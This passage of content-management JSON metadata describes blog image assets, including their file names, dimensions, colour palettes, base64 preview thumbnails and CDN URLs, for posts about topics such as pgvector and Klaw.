#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041970","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dae9","foreground":"#000","population":6.55,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dae9","foreground":"#000","population":6.55,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7294","foreground":"#fff","population":1.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d90","foreground":"#fff","population":2.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"enabling_high_availibility_for_klaw.png","path":"images/sczeoy4w/production/dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb-1567x844.png","sha1hash":"dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb","size":114600,"uploadId":"946UxTp29upxyNdHAx3hisDxkDmCQ9un","url":"https://cdn.sanity.io/images/sczeoy4w/production/dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb-1567x844.png"} {"_createdAt":"2023-05-22T10:10:25Z","_id":"image-3b8f94422dd7b5022564484889361b844cf55208-606x330-png","_rev":"Sutmd0597BicUlBXYK1eGk","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:13:18Z","altText":"Word bubble","assetId":"3b8f94422dd7b5022564484889361b844cf55208","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8363636363636364,"height":330,"width":606},"exif":{"ColorSpace":1,"PixelXDimension":606,"PixelYDimension":330,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABk0lEQVQokX2T6W7bMBCE8/5PV/RP2qBxDluSeZ+6LFtfQSYyXMTpAgOCBHd2OLt84DPWdb2uGy6XC+fz+YplWSrK+XZ/i23/cEtQoiRO08Q4jqSccd6TUiKmhPOBECIpRvo+cTrN/5CX9UoIRdHKOAw4Y3DWYpxHGkuICesjnTR1r5RCySPe2Vq4kN4hLOouNVkKgTEW4ROtTdg0onxmLy3SBqwPSK0x1jIMw/eEy/lMSD3Seo4+8+IGnmTmRUTehedNOA420bpMoxzKReb59GHZLeHGPs4nTEgIH9n7zB+beewCP3eSx1fJTniedWKnAnuhUUozTeNXD0tc1pXcDwilaaWhtYG9TfwWkR/vhqf2Q92bCTTGVx+NaBhy/Prkq8JxQirNoRPVq6OLPAvHr9ayNxEZMq3x1RJjHc5o+pz+4+Gy4EOoKrX1dNrx2il2jeAgDZ22NLXTrjavdLjkfDM21ErzPDOMIzFlhDK0QtIeJZ2Qn4UcKff13jaDdz28HfCCkhBjrMg50/d9HZF7RLc/5S+7zFNIqyy0+QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#715327","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#624721","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcccd4","foreground":"#000","population":1.37,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccd4","foreground":"#000","population":1.37,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96deee","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#63879a","foreground":"#fff","population":1.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cca46b","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Screenshot 2023-05-17 at 14.45.48.png","path":"images/sczeoy4w/production/3b8f94422dd7b5022564484889361b844cf55208-606x330.png","sha1hash":"3b8f94422dd7b5022564484889361b844cf55208","size":74518,"title":null,"uploadId":"e2SvN0AbMYWxmfw7DXP3XpfH4Hahet70","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b8f94422dd7b5022564484889361b844cf55208-606x330.png"} {"_createdAt":"2023-05-26T12:45:47Z","_id":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_rev":"Bg5HPBiLdZofLBzDE7EycB","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:47:16Z","altText":"Okta logo","assetId":"7ca00d77106a3a3e685189391226e0a369971d49","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e02i99ayayofD%j[ayayj[j[Rjof9FWBt7ofj[ayayj[IUWBofj[of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgklEQVQ4jXXU+2vXdRQG8M9o66bWKCV5TVIk8hL9YJpUP1QqgZFka5qSimDZBVSWlYtmiOgY3s1L0VZ2WU5burnWpD9PjjyLrzV/eH8vvN/nOc95znNOg2aW8wx6sRev4BR+wnpswid4Dm31vqur69/YVpBHsBzP4wUcw1l04wQuYzMO41wSLUIXHm6a5i7w3Y9kWBBGx/Eu+vB7AIYxhEP4LcnexH7sUajBKaB2PIEl2JGAMwGewhj+xgRu4C8cwVFcDejTeLAkmGH2Hj5FT7JPB+hWgn7IGQvon0lyIjKUrq+hswAXRuRi9l30KRbX8RW25PE6bA+7SjSOkxhMwz4rTQvwWbyarhaDf3AFH2Ml5qIj53GsxkGM5u0fKX9jkWuSsZh8ie8xiW+wAg/MYqnS6sVYaRIXUmGx76kH3+JHXIsuv6bL8+7j0Rnd94Tdrcj1Cy42MWuhD6STQ9GsoxWk1byYg3cwEpkG0tStdXkA/biUbAX4ekq7H8O5qWI0MWWx97GhCdXhlD2RrMW4879ALUOwME27hpuxVnV6sC7fwtsRdjg6VgmrimVrqfn9aFxxIW/PJLbOB/VgcSbkYrJNReQvsBbzo1mdp6LvkZQ7ne+y3Mt138Rrh5OxL2a9HW2K6YdpQHeEPxVm49HuPH7GLjxWgE/ipWTenqZMZDFMhfVI/k8k0Wg82J+x25lJmtNkp7VndR1Ntt6wmyl/MoyuZ5ZrEE7nbXekKG3bWjtX22Y3tmU1laa1Awu8AqvUr9PRfVkK9b/kKBv9b8E+lAbUeSPafBS/lSVK3wquyfocy7C0dmEqvBewxR41v9WoAqqZLVtV2QW4Jo6ou/kz1bWeO6cLA8liJ3UUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c1c","foreground":"#fff","population":30.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c1c","foreground":"#fff","population":30.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-okta.png","path":"images/sczeoy4w/production/7ca00d77106a3a3e685189391226e0a369971d49-512x512.png","sha1hash":"7ca00d77106a3a3e685189391226e0a369971d49","size":13429,"title":null,"uploadId":"NuPMXaORwODLyBKeEsOTbxIuwis1KrR2","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ca00d77106a3a3e685189391226e0a369971d49-512x512.png"} {"_createdAt":"2023-06-26T07:30:05Z","_id":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_rev":"yn3ffGOj7FCOSHAOSjSsjw","_type":"sanity.imageAsset","_updatedAt":"2023-06-26T07:30:05Z","assetId":"71f8ecaa4cfc0cb3e65a7cf638bc534affc03881","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MID@|YT2-YKU;Lx3,,$zt9n+1H+vnmv|6T","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7312859884836853,"height":1042,"width":1804},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADEklEQVQokQXBy2/TBQDA8R8kEgHD7MZete1au3Z9rOt+bX/t+n5uXVta2jr62MNkW7HOMUbNRPdguMAmuIa6jYXgCOICZkjggBrQRA9cTCR6UC/euPgveP36+QiWiT+5Gt3nme8Kf5y+zoP8GgFzljaZk46TMd7qGkNpvYjSu4kmuIUutIUpuo2UuUWouId/5Da2xE0sQzuIqV0EXeUly7l7/HjqMi+yy9SHa9j1w7TKJDrak8i7zyK3XULhq6MJNtCFGhijX9Af38aZ2sGZ3MY+1ECM1BEjmwim9HUm8uvUy6tcin9ARhqjSxWiWSbRKs/SZryAxr6KW1oi6lzEFqyjjd/BkNxDSt0klKiTDy5RFSucs7yLEPVkKaWqfDi6yGRyjrB7CmVXGJnMQZtyhK7ej8iYZ9hWhbmlipHxbNCW+wll4Tne4n3G0+s0xBw/t/fwskmBMJWusDD2MZsz1/i08jnl7Apa3TAtzQ402hEGnTPsGmO8Oi7j9yYtE55rNI3/RefZv0lUn7FcXOaHfgf/Nh3nv8OHEK7O7/HVygO+23jMl4sHlN65gqY7jqLdRcB+mpVsgV98Nl41n+B5Sw85zxqy0gsUk7+Smj5gtTzLQ7eV31rf5J8jryGszD/mxtJTdle/p1bdxxVYQNEVQdT5mMtm2T+f52k5wNcmHfNyE5IxR6fzHCrPPL5ghWo8w2W/i8/03ax1dCIEzjzCXfgWR/EJ2lP3OWlbQK7yM2QPsDld4N75PDfKMWZcEh5FD+rWt1G1azGpjKTsLj5Jx9jIR6nF/AxbHAhvhL/hSPiAw7EnHIo85PX+BVQaN/lAhI3pUZaLScZ9AwyZbZgVBrRyHVaNAa/BxFTYyd33kzyqZbiYi9JvEBGOuRocc+9w1Hebo94dZJb3sJj8lGIJaqUio7EhgiY7otKMUd6LZHCTGAgTsznJSH2sl71sTQYpuK2oWhQI6r5Z1NY5NOIF1NZZ9KYzuMwR4o5B0u4Ew7YwgwYXQbUNp0LCr/cz2OcnYLDj1fYy4hQpDfThUXajP6Hif6KIp5NhviwJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a2735","foreground":"#fff","population":3.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#053999","foreground":"#fff","population":2.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef0808","foreground":"#fff","population":6.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2abda","foreground":"#000","population":4.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b690","foreground":"#000","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5672a1","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef0808","foreground":"#fff","population":6.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven + Conrad - Janek on stage.png","path":"images/sczeoy4w/production/71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042.png","sha1hash":"71f8ecaa4cfc0cb3e65a7cf638bc534affc03881","size":3795890,"uploadId":"PodFeEJ07zY3MmAhThk6Om3QXy4cfFkb","url":"https://cdn.sanity.io/images/sczeoy4w/production/71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042.png"} {"_createdAt":"2023-08-04T14:31:16Z","_id":"image-5c725bb78f89a7d7805acab993f1b30d8b5f514b-2500x1308-png","_rev":"YFURCCIYWC1zW2kvzTf6cz","_type":"sanity.imageAsset","_updatedAt":"2023-08-04T14:31:16Z","assetId":"5c725bb78f89a7d7805acab993f1b30d8b5f514b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7-mt%0M]f5Rj?wk8M{kDRkM_Rjj[s;f5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACRUlEQVQokS3L207aYAAA4D7BgPbvgbZ/C1gKlOGMSOaGwwmTKFahrRbKSWDlpIKojDinU1GrRhcPixq3XexiD7os2Xf/IXZqmeINVijzYm1EanlfdaVwPzA+EEKfhNCuOPY1MHEiRc5840cuaZsT112BLvSu47Bso3QEh9lQuBWbHcTn9mblw5RipfXrBe0qvnA5k7pKpu/SuWe18GtRf3w/dzr14SCeOosmTjzBTYytIiSXi0x1ZfVQVoeydipr52n9WsvfKsa9Yjxoheei+bvS+qOXf8wrl7J2oRUeEvKtMPqFGukjlMt4M72V0U/UnJXJXswrVnLJUrI3udVHvfS0qD8s6U8Z42cyffc2MYynrLnMTSR2xvl3aXH/X56M9WTtSM1Z6ZXz+PxxLHm0tPJNzX+fSV2FJoeB8DAYORXHDlyBbbfU8QQ7jNAi+Dbl3kIAq/tGzXC0+3q6H472/WObUngnmjh+l7SkiX1GHDiFz7R3j/TsAK6JMqsOuuSgiyhTxrkmYiM1lNZxaJB8ieArOFcj3U3o6/KBbdrbozw9aqTv9A5ITw9AE6VLGFsD0MTYKoANxE6oOKWSTJbkigCWMbaCQRNwbZzfwPk24Bo43ybcHZxfQ5mKw1kAsI7zaxhbRekigpGqANWgv+QLNaFoAlgFsE7wbcK1gXMNlCmhdBmwJoB1B120Ow0APwKu4aDzNnIZwUjFwyp+X9H7ss4K/zPOtQlXB+eaDmfBTuVQpoKxNbszb6OyGFtBmVU7tfKCUP8CyEadncM/lqoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d446d","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04106c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbeb","foreground":"#000","population":8.28,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbeb","foreground":"#000","population":8.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#757abf","foreground":"#fff","population":0.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e92","foreground":"#fff","population":1.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262e91","foreground":"#fff","population":2.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Use_Netlify_to_deploy_your_Next.js_ PostgreSQL_and_Redis_social_media.png","path":"images/sczeoy4w/production/5c725bb78f89a7d7805acab993f1b30d8b5f514b-2500x1308.png","sha1hash":"5c725bb78f89a7d7805acab993f1b30d8b5f514b","size":222931,"uploadId":"dUOS0hjNPFovJkb6JGZmbGRJ4zzjuEUz","url":"https://cdn.sanity.io/images/sczeoy4w/production/5c725bb78f89a7d7805acab993f1b30d8b5f514b-2500x1308.png"} {"_createdAt":"2023-06-23T11:42:18Z","_id":"image-065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844-png","_rev":"GEwcjZ4hpY0RnpIR7zjW4d","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T11:42:18Z","assetId":"065dc1e9e8b79b4c0b21010de09b15a19784fc16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75$Jy_4ofM{V[?w-;RjM{WVM{RPRjayt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB00lEQVQokXWQ3U/TYBSH225tNxbXdiUQJ1femLXv23VdP9Y4zAi4iBpxgCBkFwTat9/rILjEC1E2JsuiDPmLTZ3eNC557s558jvnh+Vkn9V6JS3m1IhRQkYJuXrEqRGnx6zWK8h+RkSYsIDl5xfS+2v9YKzsjcC7r9LOtf5hrO7f1HZH1c7w6dbnQi0gFsnl1qBxdLt5erdx8rPZnbZOfmw7D5und+bRxDyeaAfjtY0BLXn4f+UnrYHx8bZt3W87D6/Qr7Y9a1v3ze4U7HxT9m/M48mz118KSpCWRSeh3Broh0ny1tns5dms2Z1W3l6VX3xijZg3z1fXL1mjT0ru3MEFhIsIF10ceBjwsdX1S7kzbBx+V3ZHtc5QeHPFN/pZ4BDJkvOHv2m4iAgRkQCR0CNggMEQy8k+p8e8HrP1iK2HxVpIQTd1JC4gAqAssElg09CmoZuBAQ5CLBnMqSC8Yieki3EI0SGhTUsWBW0S2hR0SOhlgIflgcXIbrEe0lWfEJ3kqzT/ZGhR0MrM80WbEhDGV+01I3jcvGC0HiW5JHCzKaBHQo+UHFpCeRnlqigvoSUJLUGE8Vq40oiWzT5nxEU1erQYRgtLRsAbQUkPOC1g1eA36M+cPmsJCh0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335072","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bbd9","foreground":"#000","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7392","foreground":"#fff","population":1.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54b57","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Vector_search_in_PostgreSQL with_pgvector_blog.png","path":"images/sczeoy4w/production/065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844.png","sha1hash":"065dc1e9e8b79b4c0b21010de09b15a19784fc16","size":70568,"uploadId":"jZgmAZ5Cbv48uc4yZ89n4uyNu4gapCvY","url":"https://cdn.sanity.io/images/sczeoy4w/production/065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844.png"} {"_createdAt":"2023-06-23T13:39:50Z","_id":"image-ce39ec3c2f424a0e4074e42d8226c26fea2366cd-2000x1206-png","_rev":"GEwcjZ4hpY0RnpIR80XXBd","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T13:40:02Z","altText":null,"assetId":"ce39ec3c2f424a0e4074e42d8226c26fea2366cd","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.658374792703151,"height":1206,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAD10lEQVQokQHMAzP8AL25uP7UzMv+6N7e/enl5//e3+Pt2t3iiODk6Brq5eUi5t3dduDS0KHaysal1MO/jc69uETCs7AI//8AAFZGNSpSPy98Z005pH5gR6GIbFCTAJaGgP68opr+1rqz/cW1s/+qpKbtqaeqh7q6vhq6sK4xvrGvp76uq+a2o57sqZWOyqCLg2GVgXoM///oAFJCMjxVQDKxdFJB6ohkTuaFaE7TAHZhWf6siHr+yJ+Q/ZyFf/9xZ2jtcWpriYl/fR2SiIc5mo6OuKKSkPyhkI7/k4SC3YN1cWpsX14MAAAAAFNGOkFdSEDBelpU/4RoYPxxZ1nnAHtraP6vkYv+yaad/pN/ev9aT03yW0xCp29TOld5al1riYSFyJaPkvmalJj/lJGW24eCh2t3Z2MQk2gnA19TSURuWFTAiWZm/YVsbvhkamXjAKqaoP7DsLX+0Lq8/p6Oj/9XS0X6VT4r4mpKLsl2YU7PiYiH7ZGWnP2JkJj/fICG5XluZ5N9Wz5RgVcwR21UPnZsWFTRi19j/phdXfh4V03jAL+xuv7RwMf+18TJ/qqbnv5dT0j+VTwn/m1LMf15X0z+gHx5/oOLkf52g4v/XmBg9mZPO91+VzbIhVk1xXFSNtNUSknwbUVT/407QPt2NyvmAK2fpf/Htr3/1MHG/66fof9jVU//Vzws/3VOPv98XFL/bmdn9G14fttneIHTUE9L52JGMPuEWT7+jF9B/XNRNf5JPTb6Ri45718nLOFaKh7NAKONjt29qrPdy7rE3aOWm+NbTUrzWDs2/XxQTv+AXWD+ZGFo2Vpvd4RRZWxoRDw1r2NFNfOFXlL/i2Va/nRXRP9YQi7pPywlqzYgH3pDKRtqAKaKh2y6pq9sxbXCbIN5foZHODbKVjo7+XlPV/+IWGH9d1tfyWNhX04hLSwmOSgijGJDPu6EXmP/i2Nr/HZaU/5xUTfYa0cobDYtHhwxJhgPAK2Piw66pawOv7DBDjUwMDk1IR2pSzE19lxEWf98QlX+hz5AyHtCM0gSFw4fNB4aiVc5O+97VGP/llRh/oZNRP97UTLWgVUtYJthNwk8NBsAAL2YkQDCsb4Av7iqABcVECo0HhmgPSkv8Ds1TvtbMUf4diwuxHAxIUcYGxEfNh0YhEkzOOVhSV33kUZQ849CMPV7SifOdE0oXmlCJwsAAAAAAJuBfQCympoBgnzGADYuKCk/LSeVOCkp3iQkMOgxIizmSSQitVEqHEIkHxMbOyQbcUAyNMVGPk/Udj5D0YRAKdNzRSKxZEEhUEwtHglJMSIAf0XaOOTgWvkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333d58","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a3c0a","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cd3343","foreground":"#fff","population":3.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6a89e","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ccc0","foreground":"#000","population":1.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd3343","foreground":"#fff","population":3.55,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_results.png","path":"images/sczeoy4w/production/ce39ec3c2f424a0e4074e42d8226c26fea2366cd-2000x1206.png","sha1hash":"ce39ec3c2f424a0e4074e42d8226c26fea2366cd","size":588648,"title":null,"uploadId":"yCZDL9BvNfJvvpO5p7vtVR6aFUv0lpHt","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce39ec3c2f424a0e4074e42d8226c26fea2366cd-2000x1206.png"} {"_createdAt":"2023-07-13T10:45:16Z","_id":"image-9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa-831x486-png","_rev":"5EJi5QFjYLXeOWQUvB5QyK","_type":"sanity.imageAsset","_updatedAt":"2023-07-13T10:45:16Z","assetId":"9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7098765432098766,"height":486,"width":831},"exif":{"ColorSpace":1,"PixelXDimension":831,"PixelYDimension":486,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADbElEQVQokT2Sa2hbZRjH/21tU9bLXBW7Io4hChUC6nAuug+zyqxuOJ3MCV5YmRWp2s4LbFARG0urjFYwH0wRpV90jK1sru16Sdvck5NzTpLmcnLSc3JyPSeXk6Zxm+JS/XDkJNoXXt4Hfrw/nvd5/1g3PI5rw90Y/Ogs1tYTWPEJmHOEmpZITmui+bdMNP/hqi/ebw6knjMHkvfaGQkLBNu0RG5olynu7RoX+s2B5JEVr7AbJuMZzBnewZnXn8XMmhd8WcEyxe2xBNP91lBm1RrKMHZGop1sbsIRyT6W+lPBmj+xxxJIvW8Npv/nlJPNXbSGMt2YmvgchvEhHH/xMBRFUbuDNZjuJDh5hBK2ClS8rFDx8jYplG4QfPHgFZMHrmhe5XpSKBWo+JbKK6RQumZnpEOwTZ1qnp880XSy59GGR7QHGwBg3sV0kbGS3p++XVjP/KH403cqdLw8awuLOpUvEqzKR32pHX6XTvx+3c5IOhi+OaedGBl4+NjRw22o1+wC0Gz85cY+94ZcveBP31F8qdsVD785f2WZOAKg5fvpq/td0cKYN3lLVnlNWK4JPxseeWro/HB3z0uvtKO+sRmAZurS7D5HJDtKxkqy+iQ6Xt52c/LNSzcdParQMD2z385IY57YZo0nyhUqvlUTnhz8bvdrA9+26I6fbXih9+U6dY4L7kiXgxH1DkYsuNisQvJyheSLs2Z//BkAdYueaJedEUd3eGzzLiWUrtsZUYdpwwUYL36C3ucPVT9l1cvBHhY7Xaykd0UyRTcrKnRM/ocW5DkPl3/aRATh3pA7XWz2ayejckmhheLftFD8zR5O6/DF+CTOfzWK3hOnqjkU/1JgDiQ7iGj2Yw+Xo0g+L9Exmaf4/JSblbSJ8jYckex97mh+yLORo0muINFCkad4+QdbMKnFgdPjePKNMbz35c/wJW9V94pX0LjY7BNENNvnZDKf2oKJQRPFHvvx8txeAPfoJ40ttlD6gIfL95F84RzJFQbc0dxRsz/eoaagut7s+wC2sAh7JIfLS261i8aZVbJ13PDT/UMXRh549fS7HXsffKgdQFtrW/su/YRR44rmWtzRXJszIrXaQmnNAsHW7QjV+VkCKfy6SFbrqyZP9QRQD0DNZyOAJjUF/9WwrMdBsCKc4RQsgQRmnQz+Bb5fN4dw4JCfAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38495a","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#050715","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#60738c","foreground":"#fff","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d6","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4f4fc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60738c","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#285cac","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Enabling High Availability for Klaw with Nginx.png","path":"images/sczeoy4w/production/9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa-831x486.png","sha1hash":"9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa","size":41832,"uploadId":"Yj28bwzvIhuKCiK6bitGatptJmj6e6vg","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa-831x486.png"} {"_createdAt":"2023-06-29T08:55:44Z","_id":"image-8f77cec0155b43f89c31a94331debb7e8dec2fa4-2500x1308-png","_rev":"5PrMMh6I8O3Nt2uPe2R9F7","_type":"sanity.imageAsset","_updatedAt":"2023-06-29T08:55:44Z","assetId":"8f77cec0155b43f89c31a94331debb7e8dec2fa4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M872I3_NMxIUay?v%MMxM|ozDiIUoft7t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB1UlEQVQokW2R7U/TUBTG29sXI8MEWFAX54zGT733MlZ0a5O5tXsBNROCkCgJtIzZ21eykpkN+QAGl0BYu+ILCX+uaTFIxOT5dHJ+eZ7nHIrF1oy8l1X7mXJvVt5Ly/5Msfug3Msq/Zw6yNX3p0s+iyxKIP/RRMEVWkeNTrT4KapsjeSNU3FtKH08UfSg3h7X2mOhdXhP9IBAaHgLnhS9/Opxy/m17l+uuBevyfeqFlS2Rooe1trhknEub5xmXvVYZNK3nScLLl75ukTOl72LK1jdDhU9rGhBRRs1O5GiB0/q+zy2rmEaJhIIlSo4wruj+s74jfmjZf9s